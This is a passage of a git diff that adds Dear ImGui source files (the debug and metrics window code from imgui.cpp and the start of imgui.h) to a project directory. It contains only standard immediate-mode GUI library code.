0x%08X (%d columns, in '%s')", table->ID, table->ColumnsCount, table->OuterWindow->Name); + if (IsItemHovered()) + GetForegroundDrawList()->AddRect(table->OuterRect.Min - ImVec2(1, 1), table->OuterRect.Max + ImVec2(1, 1), IM_COL32(255, 255, 0, 255), 0.0f, ~0, 2.0f); + Indent(); + char buf[128]; + for (int rect_n = 0; rect_n < TRT_Count; rect_n++) + { + if (rect_n >= TRT_ColumnsRect) + { + if (rect_n != TRT_ColumnsRect && rect_n != TRT_ColumnsClipRect) + continue; + for (int column_n = 0; column_n < table->ColumnsCount; column_n++) + { + ImRect r = Funcs::GetTableRect(table, rect_n, column_n); + ImFormatString(buf, IM_ARRAYSIZE(buf), "(%6.1f,%6.1f) (%6.1f,%6.1f) Size (%6.1f,%6.1f) Col %d %s", r.Min.x, r.Min.y, r.Max.x, r.Max.y, r.GetWidth(), r.GetHeight(), column_n, trt_rects_names[rect_n]); + Selectable(buf); + if (IsItemHovered()) + GetForegroundDrawList()->AddRect(r.Min - ImVec2(1, 1), r.Max + ImVec2(1, 1), IM_COL32(255, 255, 0, 255), 0.0f, ~0, 2.0f); + } + } + else + { + ImRect r = Funcs::GetTableRect(table, rect_n, -1); + ImFormatString(buf, IM_ARRAYSIZE(buf), "(%6.1f,%6.1f) (%6.1f,%6.1f) Size (%6.1f,%6.1f) %s", r.Min.x, r.Min.y, r.Max.x, r.Max.y, r.GetWidth(), r.GetHeight(), trt_rects_names[rect_n]); + Selectable(buf); + if (IsItemHovered()) + GetForegroundDrawList()->AddRect(r.Min - ImVec2(1, 1), r.Max + ImVec2(1, 1), IM_COL32(255, 255, 0, 255), 0.0f, ~0, 2.0f); + } + } + Unindent(); + } + } + + TreePop(); + } + + // Contents + DebugNodeWindowsList(&g.Windows, "Windows"); + //DebugNodeWindowList(&g.WindowsFocusOrder, "WindowsFocusOrder"); + if (TreeNode("DrawLists", "Active DrawLists (%d)", g.DrawDataBuilder.Layers[0].Size)) + { + for (int i = 0; i < g.DrawDataBuilder.Layers[0].Size; i++) + DebugNodeDrawList(NULL, g.DrawDataBuilder.Layers[0][i], "DrawList"); + TreePop(); + } + + // Details for Popups + if (TreeNode("Popups", "Popups (%d)", g.OpenPopupStack.Size)) + { + for (int i = 0; i < g.OpenPopupStack.Size; i++) + { + ImGuiWindow* window = g.OpenPopupStack[i].Window; + BulletText("PopupID: %08x, Window: '%s'%s%s", g.OpenPopupStack[i].PopupId, window ? window->Name : "NULL", window && (window->Flags & ImGuiWindowFlags_ChildWindow) ? " ChildWindow" : "", window && (window->Flags & ImGuiWindowFlags_ChildMenu) ? " ChildMenu" : ""); + } + TreePop(); + } + + // Details for TabBars + if (TreeNode("TabBars", "Tab Bars (%d)", g.TabBars.GetSize())) + { + for (int n = 0; n < g.TabBars.GetSize(); n++) + DebugNodeTabBar(g.TabBars.GetByIndex(n), "TabBar"); + TreePop(); + } + + // Details for Tables +#ifdef IMGUI_HAS_TABLE + if (TreeNode("Tables", "Tables (%d)", g.Tables.GetSize())) + { + for (int n = 0; n < g.Tables.GetSize(); n++) + DebugNodeTable(g.Tables.GetByIndex(n)); + TreePop(); + } +#endif // #ifdef IMGUI_HAS_TABLE + + // Details for Docking +#ifdef IMGUI_HAS_DOCK + if (TreeNode("Docking")) + { + TreePop(); + } +#endif // #ifdef IMGUI_HAS_DOCK + + // Settings + if (TreeNode("Settings")) + { + if (SmallButton("Clear")) + ClearIniSettings(); + SameLine(); + if (SmallButton("Save to memory")) + SaveIniSettingsToMemory(); + SameLine(); + if (SmallButton("Save to disk")) + SaveIniSettingsToDisk(g.IO.IniFilename); + SameLine(); + if (g.IO.IniFilename) + Text("\"%s\"", g.IO.IniFilename); + else + TextUnformatted(""); + Text("SettingsDirtyTimer %.2f", g.SettingsDirtyTimer); + if (TreeNode("SettingsHandlers", "Settings handlers: (%d)", g.SettingsHandlers.Size)) + { + for (int n = 0; n < g.SettingsHandlers.Size; n++) + BulletText("%s", g.SettingsHandlers[n].TypeName); + TreePop(); + } + if (TreeNode("SettingsWindows", "Settings packed data: Windows: %d bytes", g.SettingsWindows.size())) + { + for (ImGuiWindowSettings* settings = g.SettingsWindows.begin(); settings != NULL; settings = g.SettingsWindows.next_chunk(settings)) + DebugNodeWindowSettings(settings); + TreePop(); + } + +#ifdef IMGUI_HAS_TABLE + if (TreeNode("SettingsTables", "Settings packed data: Tables: %d bytes", g.SettingsTables.size())) + { + for (ImGuiTableSettings* settings = g.SettingsTables.begin(); settings != NULL; settings = g.SettingsTables.next_chunk(settings)) + DebugNodeTableSettings(settings); + TreePop(); + } +#endif // #ifdef IMGUI_HAS_TABLE + +#ifdef IMGUI_HAS_DOCK +#endif // #ifdef IMGUI_HAS_DOCK + + if (TreeNode("SettingsIniData", "Settings unpacked data (.ini): %d bytes", g.SettingsIniData.size())) + { + InputTextMultiline("##Ini", (char*)(void*)g.SettingsIniData.c_str(), g.SettingsIniData.Buf.Size, ImVec2(-FLT_MIN, GetTextLineHeight() * 20), ImGuiInputTextFlags_ReadOnly); + TreePop(); + } + TreePop(); + } + + // Misc Details + if (TreeNode("Internal state")) + { + const char* input_source_names[] = { "None", "Mouse", "Nav", "NavKeyboard", "NavGamepad" }; IM_ASSERT(IM_ARRAYSIZE(input_source_names) == ImGuiInputSource_COUNT); + + Text("WINDOWING"); + Indent(); + Text("HoveredWindow: '%s'", g.HoveredWindow ? g.HoveredWindow->Name : "NULL"); + Text("HoveredRootWindow: '%s'", g.HoveredRootWindow ? g.HoveredRootWindow->Name : "NULL"); + Text("HoveredWindowUnderMovingWindow: '%s'", g.HoveredWindowUnderMovingWindow ? g.HoveredWindowUnderMovingWindow->Name : "NULL"); + Text("MovingWindow: '%s'", g.MovingWindow ? g.MovingWindow->Name : "NULL"); + Unindent(); + + Text("ITEMS"); + Indent(); + Text("ActiveId: 0x%08X/0x%08X (%.2f sec), AllowOverlap: %d, Source: %s", g.ActiveId, g.ActiveIdPreviousFrame, g.ActiveIdTimer, g.ActiveIdAllowOverlap, input_source_names[g.ActiveIdSource]); + Text("ActiveIdWindow: '%s'", g.ActiveIdWindow ? g.ActiveIdWindow->Name : "NULL"); + Text("HoveredId: 0x%08X/0x%08X (%.2f sec), AllowOverlap: %d", g.HoveredId, g.HoveredIdPreviousFrame, g.HoveredIdTimer, g.HoveredIdAllowOverlap); // Data is "in-flight" so depending on when the Metrics window is called we may see current frame information or not + Text("DragDrop: %d, SourceId = 0x%08X, Payload \"%s\" (%d bytes)", g.DragDropActive, g.DragDropPayload.SourceId, g.DragDropPayload.DataType, g.DragDropPayload.DataSize); + Unindent(); + + Text("NAV,FOCUS"); + Indent(); + Text("NavWindow: '%s'", g.NavWindow ? g.NavWindow->Name : "NULL"); + Text("NavId: 0x%08X, NavLayer: %d", g.NavId, g.NavLayer); + Text("NavInputSource: %s", input_source_names[g.NavInputSource]); + Text("NavActive: %d, NavVisible: %d", g.IO.NavActive, g.IO.NavVisible); + Text("NavActivateId: 0x%08X, NavInputId: 0x%08X", g.NavActivateId, g.NavInputId); + Text("NavDisableHighlight: %d, NavDisableMouseHover: %d", g.NavDisableHighlight, g.NavDisableMouseHover); + Text("NavFocusScopeId = 0x%08X", g.NavFocusScopeId); + Text("NavWindowingTarget: '%s'", g.NavWindowingTarget ? g.NavWindowingTarget->Name : "NULL"); + Unindent(); + + TreePop(); + } + + // Overlay: Display windows Rectangles and Begin Order + if (cfg->ShowWindowsRects || cfg->ShowWindowsBeginOrder) + { + for (int n = 0; n < g.Windows.Size; n++) + { + ImGuiWindow* window = g.Windows[n]; + if (!window->WasActive) + continue; + ImDrawList* draw_list = GetForegroundDrawList(window); + if (cfg->ShowWindowsRects) + { + ImRect r = Funcs::GetWindowRect(window, cfg->ShowWindowsRectsType); + draw_list->AddRect(r.Min, r.Max, IM_COL32(255, 0, 128, 255)); + } + if (cfg->ShowWindowsBeginOrder && !(window->Flags & ImGuiWindowFlags_ChildWindow)) + { + char buf[32]; + ImFormatString(buf, IM_ARRAYSIZE(buf), "%d", window->BeginOrderWithinContext); + float font_size = GetFontSize(); + draw_list->AddRectFilled(window->Pos, window->Pos + ImVec2(font_size, font_size), IM_COL32(200, 100, 100, 255)); + draw_list->AddText(window->Pos, IM_COL32(255, 255, 255, 255), buf); + } + } + } + +#ifdef IMGUI_HAS_TABLE + // Overlay: Display Tables Rectangles + if (cfg->ShowTablesRects) + { + for (int table_n = 0; table_n < g.Tables.GetSize(); table_n++) + { + ImGuiTable* table = g.Tables.GetByIndex(table_n); + if (table->LastFrameActive < g.FrameCount - 1) + continue; + ImDrawList* draw_list = GetForegroundDrawList(table->OuterWindow); + if (cfg->ShowTablesRectsType >= TRT_ColumnsRect) + { + for (int column_n = 0; column_n < table->ColumnsCount; column_n++) + { + ImRect r = Funcs::GetTableRect(table, cfg->ShowTablesRectsType, column_n); + ImU32 col = (table->HoveredColumnBody == column_n) ? IM_COL32(255, 255, 128, 255) : IM_COL32(255, 0, 128, 255); + float thickness = (table->HoveredColumnBody == column_n) ? 3.0f : 1.0f; + draw_list->AddRect(r.Min, r.Max, col, 0.0f, ~0, thickness); + } + } + else + { + ImRect r = Funcs::GetTableRect(table, cfg->ShowTablesRectsType, -1); + draw_list->AddRect(r.Min, r.Max, IM_COL32(255, 0, 128, 255)); + } + } + } +#endif // #ifdef IMGUI_HAS_TABLE + +#ifdef IMGUI_HAS_DOCK + // Overlay: Display Docking info + if (show_docking_nodes && g.IO.KeyCtrl) + { + } +#endif // #ifdef IMGUI_HAS_DOCK + + End(); +} + +// [DEBUG] Display contents of Columns +void ImGui::DebugNodeColumns(ImGuiOldColumns* columns) +{ + if (!TreeNode((void*)(uintptr_t)columns->ID, "Columns Id: 0x%08X, Count: %d, Flags: 0x%04X", columns->ID, columns->Count, columns->Flags)) + return; + BulletText("Width: %.1f (MinX: %.1f, MaxX: %.1f)", columns->OffMaxX - columns->OffMinX, columns->OffMinX, columns->OffMaxX); + for (int column_n = 0; column_n < columns->Columns.Size; column_n++) + BulletText("Column %02d: OffsetNorm %.3f (= %.1f px)", column_n, columns->Columns[column_n].OffsetNorm, GetColumnOffsetFromNorm(columns, columns->Columns[column_n].OffsetNorm)); + TreePop(); +} + +// [DEBUG] Display contents of ImDrawList +void ImGui::DebugNodeDrawList(ImGuiWindow* window, const ImDrawList* draw_list, const char* label) +{ + ImGuiContext& g = *GImGui; + ImGuiMetricsConfig* cfg = &g.DebugMetricsConfig; + int cmd_count = draw_list->CmdBuffer.Size; + if (cmd_count > 0 && draw_list->CmdBuffer.back().ElemCount == 0 && draw_list->CmdBuffer.back().UserCallback == NULL) + cmd_count--; + bool node_open = TreeNode(draw_list, "%s: '%s' %d vtx, %d indices, %d cmds", label, draw_list->_OwnerName ? draw_list->_OwnerName : "", draw_list->VtxBuffer.Size, draw_list->IdxBuffer.Size, cmd_count); + if (draw_list == GetWindowDrawList()) + { + SameLine(); + TextColored(ImVec4(1.0f, 0.4f, 0.4f, 1.0f), "CURRENTLY APPENDING"); // Can't display stats for active draw list! (we don't have the data double-buffered) + if (node_open) + TreePop(); + return; + } + + ImDrawList* fg_draw_list = GetForegroundDrawList(window); // Render additional visuals into the top-most draw list + if (window && IsItemHovered()) + fg_draw_list->AddRect(window->Pos, window->Pos + window->Size, IM_COL32(255, 255, 0, 255)); + if (!node_open) + return; + + if (window && !window->WasActive) + TextDisabled("Warning: owning Window is inactive. This DrawList is not being rendered!"); + + for (const ImDrawCmd* pcmd = draw_list->CmdBuffer.Data; pcmd < draw_list->CmdBuffer.Data + cmd_count; pcmd++) + { + if (pcmd->UserCallback) + { + BulletText("Callback %p, user_data %p", pcmd->UserCallback, pcmd->UserCallbackData); + continue; + } + + char buf[300]; + ImFormatString(buf, IM_ARRAYSIZE(buf), "DrawCmd:%5d tris, Tex 0x%p, ClipRect (%4.0f,%4.0f)-(%4.0f,%4.0f)", + pcmd->ElemCount / 3, (void*)(intptr_t)pcmd->TextureId, + pcmd->ClipRect.x, pcmd->ClipRect.y, pcmd->ClipRect.z, pcmd->ClipRect.w); + bool pcmd_node_open = TreeNode((void*)(pcmd - draw_list->CmdBuffer.begin()), "%s", buf); + if (IsItemHovered() && (cfg->ShowDrawCmdMesh || cfg->ShowDrawCmdBoundingBoxes) && fg_draw_list) + DebugNodeDrawCmdShowMeshAndBoundingBox(window, draw_list, pcmd, cfg->ShowDrawCmdMesh, cfg->ShowDrawCmdBoundingBoxes); + if (!pcmd_node_open) + continue; + + // Calculate approximate coverage area (touched pixel count) + // This will be in pixels squared as long there's no post-scaling happening to the renderer output. + const ImDrawIdx* idx_buffer = (draw_list->IdxBuffer.Size > 0) ? draw_list->IdxBuffer.Data : NULL; + const ImDrawVert* vtx_buffer = draw_list->VtxBuffer.Data + pcmd->VtxOffset; + float total_area = 0.0f; + for (unsigned int idx_n = pcmd->IdxOffset; idx_n < pcmd->IdxOffset + pcmd->ElemCount; ) + { + ImVec2 triangle[3]; + for (int n = 0; n < 3; n++, idx_n++) + triangle[n] = vtx_buffer[idx_buffer ? idx_buffer[idx_n] : idx_n].pos; + total_area += ImTriangleArea(triangle[0], triangle[1], triangle[2]); + } + + // Display vertex information summary. Hover to get all triangles drawn in wire-frame + ImFormatString(buf, IM_ARRAYSIZE(buf), "Mesh: ElemCount: %d, VtxOffset: +%d, IdxOffset: +%d, Area: ~%0.f px", pcmd->ElemCount, pcmd->VtxOffset, pcmd->IdxOffset, total_area); + Selectable(buf); + if (IsItemHovered() && fg_draw_list) + DebugNodeDrawCmdShowMeshAndBoundingBox(window, draw_list, pcmd, true, false); + + // Display individual triangles/vertices. Hover on to get the corresponding triangle highlighted. + ImGuiListClipper clipper; + clipper.Begin(pcmd->ElemCount / 3); // Manually coarse clip our print out of individual vertices to save CPU, only items that may be visible. + while (clipper.Step()) + for (int prim = clipper.DisplayStart, idx_i = pcmd->IdxOffset + clipper.DisplayStart * 3; prim < clipper.DisplayEnd; prim++) + { + char* buf_p = buf, * buf_end = buf + IM_ARRAYSIZE(buf); + ImVec2 triangle[3]; + for (int n = 0; n < 3; n++, idx_i++) + { + const ImDrawVert& v = vtx_buffer[idx_buffer ? idx_buffer[idx_i] : idx_i]; + triangle[n] = v.pos; + buf_p += ImFormatString(buf_p, buf_end - buf_p, "%s %04d: pos (%8.2f,%8.2f), uv (%.6f,%.6f), col %08X\n", + (n == 0) ? "Vert:" : " ", idx_i, v.pos.x, v.pos.y, v.uv.x, v.uv.y, v.col); + } + + Selectable(buf, false); + if (fg_draw_list && IsItemHovered()) + { + ImDrawListFlags backup_flags = fg_draw_list->Flags; + fg_draw_list->Flags &= ~ImDrawListFlags_AntiAliasedLines; // Disable AA on triangle outlines is more readable for very large and thin triangles. + fg_draw_list->AddPolyline(triangle, 3, IM_COL32(255, 255, 0, 255), true, 1.0f); + fg_draw_list->Flags = backup_flags; + } + } + TreePop(); + } + TreePop(); +} + +// [DEBUG] Display mesh/aabb of a ImDrawCmd +void ImGui::DebugNodeDrawCmdShowMeshAndBoundingBox(ImGuiWindow* window, const ImDrawList* draw_list, const ImDrawCmd* draw_cmd, bool show_mesh, bool show_aabb) +{ + IM_ASSERT(show_mesh || show_aabb); + ImDrawList* fg_draw_list = GetForegroundDrawList(window); // Render additional visuals into the top-most draw list + ImDrawIdx* idx_buffer = (draw_list->IdxBuffer.Size > 0) ? draw_list->IdxBuffer.Data : NULL; + ImDrawVert* vtx_buffer = draw_list->VtxBuffer.Data + draw_cmd->VtxOffset; + + // Draw wire-frame version of all triangles + ImRect clip_rect = draw_cmd->ClipRect; + ImRect vtxs_rect(FLT_MAX, FLT_MAX, -FLT_MAX, -FLT_MAX); + ImDrawListFlags backup_flags = fg_draw_list->Flags; + fg_draw_list->Flags &= ~ImDrawListFlags_AntiAliasedLines; // Disable AA on triangle outlines is more readable for very large and thin triangles. + for (unsigned int idx_n = draw_cmd->IdxOffset; idx_n < draw_cmd->IdxOffset + draw_cmd->ElemCount; ) + { + ImVec2 triangle[3]; + for (int n = 0; n < 3; n++, idx_n++) + vtxs_rect.Add((triangle[n] = vtx_buffer[idx_buffer ? idx_buffer[idx_n] : idx_n].pos)); + if (show_mesh) + fg_draw_list->AddPolyline(triangle, 3, IM_COL32(255, 255, 0, 255), true, 1.0f); // In yellow: mesh triangles + } + // Draw bounding boxes + if (show_aabb) + { + fg_draw_list->AddRect(ImFloor(clip_rect.Min), ImFloor(clip_rect.Max), IM_COL32(255, 0, 255, 255)); // In pink: clipping rectangle submitted to GPU + fg_draw_list->AddRect(ImFloor(vtxs_rect.Min), ImFloor(vtxs_rect.Max), IM_COL32(0, 255, 255, 255)); // In cyan: bounding box of triangles + } + fg_draw_list->Flags = backup_flags; +} + +// [DEBUG] Display contents of ImGuiStorage +void ImGui::DebugNodeStorage(ImGuiStorage* storage, const char* label) +{ + if (!TreeNode(label, "%s: %d entries, %d bytes", label, storage->Data.Size, storage->Data.size_in_bytes())) + return; + for (int n = 0; n < storage->Data.Size; n++) + { + const ImGuiStorage::ImGuiStoragePair& p = storage->Data[n]; + BulletText("Key 0x%08X Value { i: %d }", p.key, p.val_i); // Important: we currently don't store a type, real value may not be integer. + } + TreePop(); +} + +// [DEBUG] Display contents of ImGuiTabBar +void ImGui::DebugNodeTabBar(ImGuiTabBar* tab_bar, const char* label) +{ + // Standalone tab bars (not associated to docking/windows functionality) currently hold no discernible strings. + char buf[256]; + char* p = buf; + const char* buf_end = buf + IM_ARRAYSIZE(buf); + const bool is_active = (tab_bar->PrevFrameVisible >= GetFrameCount() - 2); + p += ImFormatString(p, buf_end - p, "%s 0x%08X (%d tabs)%s", label, tab_bar->ID, tab_bar->Tabs.Size, is_active ? "" : " *Inactive*"); + IM_UNUSED(p); + if (!is_active) { PushStyleColor(ImGuiCol_Text, GetStyleColorVec4(ImGuiCol_TextDisabled)); } + bool open = TreeNode(tab_bar, "%s", buf); + if (!is_active) { PopStyleColor(); } + if (is_active && IsItemHovered()) + { + ImDrawList* draw_list = GetForegroundDrawList(); + draw_list->AddRect(tab_bar->BarRect.Min, tab_bar->BarRect.Max, IM_COL32(255, 255, 0, 255)); + draw_list->AddLine(ImVec2(tab_bar->ScrollingRectMinX, tab_bar->BarRect.Min.y), ImVec2(tab_bar->ScrollingRectMinX, tab_bar->BarRect.Max.y), IM_COL32(0, 255, 0, 255)); + draw_list->AddLine(ImVec2(tab_bar->ScrollingRectMaxX, tab_bar->BarRect.Min.y), ImVec2(tab_bar->ScrollingRectMaxX, tab_bar->BarRect.Max.y), IM_COL32(0, 255, 0, 255)); + } + if (open) + { + for (int tab_n = 0; tab_n < tab_bar->Tabs.Size; tab_n++) + { + const ImGuiTabItem* tab = &tab_bar->Tabs[tab_n]; + PushID(tab); + if (SmallButton("<")) { TabBarQueueReorder(tab_bar, tab, -1); } SameLine(0, 2); + if (SmallButton(">")) { TabBarQueueReorder(tab_bar, tab, +1); } SameLine(); + Text("%02d%c Tab 0x%08X '%s' Offset: %.1f, Width: %.1f/%.1f", + tab_n, (tab->ID == tab_bar->SelectedTabId) ? '*' : ' ', tab->ID, (tab->NameOffset != -1) ? tab_bar->GetTabName(tab) : "", tab->Offset, tab->Width, tab->ContentWidth); + PopID(); + } + TreePop(); + } +} + +void ImGui::DebugNodeWindow(ImGuiWindow* window, const char* label) +{ + if (window == NULL) + { + BulletText("%s: NULL", label); + return; + } + + ImGuiContext& g = *GImGui; + const bool is_active = window->WasActive; + ImGuiTreeNodeFlags tree_node_flags = (window == g.NavWindow) ? ImGuiTreeNodeFlags_Selected : ImGuiTreeNodeFlags_None; + if (!is_active) { PushStyleColor(ImGuiCol_Text, GetStyleColorVec4(ImGuiCol_TextDisabled)); } + const bool open = TreeNodeEx(label, tree_node_flags, "%s '%s'%s", label, window->Name, is_active ? "" : " *Inactive*"); + if (!is_active) { PopStyleColor(); } + if (IsItemHovered() && is_active) + GetForegroundDrawList(window)->AddRect(window->Pos, window->Pos + window->Size, IM_COL32(255, 255, 0, 255)); + if (!open) + return; + + if (window->MemoryCompacted) + TextDisabled("Note: some memory buffers have been compacted/freed."); + + ImGuiWindowFlags flags = window->Flags; + DebugNodeDrawList(window, window->DrawList, "DrawList"); + BulletText("Pos: (%.1f,%.1f), Size: (%.1f,%.1f), ContentSize (%.1f,%.1f)", window->Pos.x, window->Pos.y, window->Size.x, window->Size.y, window->ContentSize.x, window->ContentSize.y); + BulletText("Flags: 0x%08X (%s%s%s%s%s%s%s%s%s..)", flags, + (flags & ImGuiWindowFlags_ChildWindow) ? "Child " : "", (flags & ImGuiWindowFlags_Tooltip) ? "Tooltip " : "", (flags & ImGuiWindowFlags_Popup) ? "Popup " : "", + (flags & ImGuiWindowFlags_Modal) ? "Modal " : "", (flags & ImGuiWindowFlags_ChildMenu) ? "ChildMenu " : "", (flags & ImGuiWindowFlags_NoSavedSettings) ? "NoSavedSettings " : "", + (flags & ImGuiWindowFlags_NoMouseInputs) ? "NoMouseInputs" : "", (flags & ImGuiWindowFlags_NoNavInputs) ? "NoNavInputs" : "", (flags & ImGuiWindowFlags_AlwaysAutoResize) ? "AlwaysAutoResize" : ""); + BulletText("Scroll: (%.2f/%.2f,%.2f/%.2f) Scrollbar:%s%s", window->Scroll.x, window->ScrollMax.x, window->Scroll.y, window->ScrollMax.y, window->ScrollbarX ? "X" : "", window->ScrollbarY ? "Y" : ""); + BulletText("Active: %d/%d, WriteAccessed: %d, BeginOrderWithinContext: %d", window->Active, window->WasActive, window->WriteAccessed, (window->Active || window->WasActive) ? window->BeginOrderWithinContext : -1); + BulletText("Appearing: %d, Hidden: %d (CanSkip %d Cannot %d), SkipItems: %d", window->Appearing, window->Hidden, window->HiddenFramesCanSkipItems, window->HiddenFramesCannotSkipItems, window->SkipItems); + BulletText("NavLastIds: 0x%08X,0x%08X, NavLayerActiveMask: %X", window->NavLastIds[0], window->NavLastIds[1], window->DC.NavLayerActiveMask); + BulletText("NavLastChildNavWindow: %s", window->NavLastChildNavWindow ? window->NavLastChildNavWindow->Name : "NULL"); + if (!window->NavRectRel[0].IsInverted()) + BulletText("NavRectRel[0]: (%.1f,%.1f)(%.1f,%.1f)", window->NavRectRel[0].Min.x, window->NavRectRel[0].Min.y, window->NavRectRel[0].Max.x, window->NavRectRel[0].Max.y); + else + BulletText("NavRectRel[0]: "); + if (window->RootWindow != window) { DebugNodeWindow(window->RootWindow, "RootWindow"); } + if (window->ParentWindow != NULL) { DebugNodeWindow(window->ParentWindow, "ParentWindow"); } + if (window->DC.ChildWindows.Size > 0) { DebugNodeWindowsList(&window->DC.ChildWindows, "ChildWindows"); } + if (window->ColumnsStorage.Size > 0 && TreeNode("Columns", "Columns sets (%d)", window->ColumnsStorage.Size)) + { + for (int n = 0; n < window->ColumnsStorage.Size; n++) + DebugNodeColumns(&window->ColumnsStorage[n]); + TreePop(); + } + DebugNodeStorage(&window->StateStorage, "Storage"); + TreePop(); +} + +void ImGui::DebugNodeWindowSettings(ImGuiWindowSettings* settings) +{ + Text("0x%08X \"%s\" Pos (%d,%d) Size (%d,%d) Collapsed=%d", + settings->ID, settings->GetName(), settings->Pos.x, settings->Pos.y, settings->Size.x, settings->Size.y, settings->Collapsed); +} + + +void ImGui::DebugNodeWindowsList(ImVector* windows, const char* label) +{ + if (!TreeNode(label, "%s (%d)", label, windows->Size)) + return; + Text("(In front-to-back order:)"); + for (int i = windows->Size - 1; i >= 0; i--) // Iterate front to back + { + PushID((*windows)[i]); + DebugNodeWindow((*windows)[i], "Window"); + PopID(); + } + TreePop(); +} + +#else + +void ImGui::ShowMetricsWindow(bool*) {} +void ImGui::DebugNodeColumns(ImGuiOldColumns*) {} +void ImGui::DebugNodeDrawList(ImGuiWindow*, const ImDrawList*, const char*) {} +void ImGui::DebugNodeDrawCmdShowMeshAndBoundingBox(ImGuiWindow*, const ImDrawList*, const ImDrawCmd*, bool, bool) {} +void ImGui::DebugNodeStorage(ImGuiStorage*, const char*) {} +void ImGui::DebugNodeTabBar(ImGuiTabBar*, const char*) {} +void ImGui::DebugNodeWindow(ImGuiWindow*, const char*) {} +void ImGui::DebugNodeWindowSettings(ImGuiWindowSettings*) {} +void ImGui::DebugNodeWindowsList(ImVector*, const char*) {} + +#endif + +//----------------------------------------------------------------------------- + +// Include imgui_user.inl at the end of imgui.cpp to access private data/functions that aren't exposed. +// Prefer just including imgui_internal.h from your code rather than using this define. If a declaration is missing from imgui_internal.h add it or request it on the github. +#ifdef IMGUI_INCLUDE_IMGUI_USER_INL +#include "imgui_user.inl" +#endif + +//----------------------------------------------------------------------------- + +#endif // #ifndef IMGUI_DISABLE diff --git a/EngineX-Pro/ImGui/imgui.h b/EngineX-Pro/ImGui/imgui.h new file mode 100644 index 0000000..7bfa5ff --- /dev/null +++ b/EngineX-Pro/ImGui/imgui.h @@ -0,0 +1,2711 @@ +// dear imgui, v1.80 WIP +// (headers) + +// Help: +// - Read FAQ at http://dearimgui.org/faq +// - Newcomers, read 'Programmer guide' in imgui.cpp for notes on how to setup Dear ImGui in your codebase. +// - Call and read ImGui::ShowDemoWindow() in imgui_demo.cpp. All applications in examples/ are doing that. +// Read imgui.cpp for details, links and comments. + +// Resources: +// - FAQ http://dearimgui.org/faq +// - Homepage & latest https://github.com/ocornut/imgui +// - Releases & changelog https://github.com/ocornut/imgui/releases +// - Gallery https://github.com/ocornut/imgui/issues/3488 (please post your screenshots/video there!) +// - Glossary https://github.com/ocornut/imgui/wiki/Glossary +// - Wiki https://github.com/ocornut/imgui/wiki +// - Issues & support https://github.com/ocornut/imgui/issues + +/* + +Index of this file: +// [SECTION] Header mess +// [SECTION] Forward declarations and basic types +// [SECTION] Dear ImGui end-user API functions +// [SECTION] Flags & Enumerations +// [SECTION] Helpers: Memory allocations macros, ImVector<> +// [SECTION] ImGuiStyle +// [SECTION] ImGuiIO +// [SECTION] Misc data structures (ImGuiInputTextCallbackData, ImGuiSizeCallbackData, ImGuiPayload, ImGuiTableSortSpecs, ImGuiTableColumnSortSpecs) +// [SECTION] Obsolete functions +// [SECTION] Helpers (ImGuiOnceUponAFrame, ImGuiTextFilter, ImGuiTextBuffer, ImGuiStorage, ImGuiListClipper, ImColor) +// [SECTION] Drawing API (ImDrawCallback, ImDrawCmd, ImDrawIdx, ImDrawVert, ImDrawChannel, ImDrawListSplitter, ImDrawListFlags, ImDrawList, ImDrawData) +// [SECTION] Font API (ImFontConfig, ImFontGlyph, ImFontGlyphRangesBuilder, ImFontAtlasFlags, ImFontAtlas, ImFont) + +*/ + +#pragma once + +// Configuration file with compile-time options (edit imconfig.h or '#define IMGUI_USER_CONFIG "myfilename.h" from your build system') +#ifdef IMGUI_USER_CONFIG +#include IMGUI_USER_CONFIG +#endif +#if !defined(IMGUI_DISABLE_INCLUDE_IMCONFIG_H) || defined(IMGUI_INCLUDE_IMCONFIG_H) +#include "imconfig.h" +#endif + +#ifndef IMGUI_DISABLE + +//----------------------------------------------------------------------------- +// [SECTION] Header mess +//----------------------------------------------------------------------------- + +// Includes +#include // FLT_MIN, FLT_MAX +#include // va_list, va_start, va_end +#include // ptrdiff_t, NULL +#include // memset, memmove, memcpy, strlen, strchr, strcpy, strcmp + +// Version +// (Integer encoded as XYYZZ for use in #if preprocessor conditionals. Work in progress versions typically starts at XYY99 then bounce up to XYY00, XYY01 etc. when release tagging happens) +#define IMGUI_VERSION "1.80 WIP" +#define IMGUI_VERSION_NUM 17909 +#define IMGUI_CHECKVERSION() ImGui::DebugCheckVersionAndDataLayout(IMGUI_VERSION, sizeof(ImGuiIO), sizeof(ImGuiStyle), sizeof(ImVec2), sizeof(ImVec4), sizeof(ImDrawVert), sizeof(ImDrawIdx)) +#define IMGUI_HAS_TABLE + +// Define attributes of all API symbols declarations (e.g. for DLL under Windows) +// IMGUI_API is used for core imgui functions, IMGUI_IMPL_API is used for the default backends files (imgui_impl_xxx.h) +// Using dear imgui via a shared library is not recommended, because we don't guarantee backward nor forward ABI compatibility (also function call overhead, as dear imgui is a call-heavy API) +#ifndef IMGUI_API +#define IMGUI_API +#endif +#ifndef IMGUI_IMPL_API +#define IMGUI_IMPL_API IMGUI_API +#endif + +// Helper Macros +#ifndef IM_ASSERT +#include +#define IM_ASSERT(_EXPR) assert(_EXPR) // You can override the default assert handler by editing imconfig.h +#endif +#define IM_ARRAYSIZE(_ARR) ((int)(sizeof(_ARR) / sizeof(*(_ARR)))) // Size of a static C-style array. Don't use on pointers! +#define IM_UNUSED(_VAR) ((void)(_VAR)) // Used to silence "unused variable warnings". Often useful as asserts may be stripped out from final builds. +#if (__cplusplus >= 201100) +#define IM_OFFSETOF(_TYPE,_MEMBER) offsetof(_TYPE, _MEMBER) // Offset of _MEMBER within _TYPE. Standardized as offsetof() in C++11 +#else +#define IM_OFFSETOF(_TYPE,_MEMBER) ((size_t)&(((_TYPE*)0)->_MEMBER)) // Offset of _MEMBER within _TYPE. Old style macro. +#endif + +// Helper Macros - IM_FMTARGS, IM_FMTLIST: Apply printf-style warnings to our formatting functions. +#if !defined(IMGUI_USE_STB_SPRINTF) && defined(__clang__) +#define IM_FMTARGS(FMT) __attribute__((format(printf, FMT, FMT+1))) +#define IM_FMTLIST(FMT) __attribute__((format(printf, FMT, 0))) +#elif !defined(IMGUI_USE_STB_SPRINTF) && defined(__GNUC__) && defined(__MINGW32__) +#define IM_FMTARGS(FMT) __attribute__((format(gnu_printf, FMT, FMT+1))) +#define IM_FMTLIST(FMT) __attribute__((format(gnu_printf, FMT, 0))) +#else +#define IM_FMTARGS(FMT) +#define IM_FMTLIST(FMT) +#endif + +// Warnings +#if defined(__clang__) +#pragma clang diagnostic push +#pragma clang diagnostic ignored "-Wold-style-cast" +#if __has_warning("-Wzero-as-null-pointer-constant") +#pragma clang diagnostic ignored 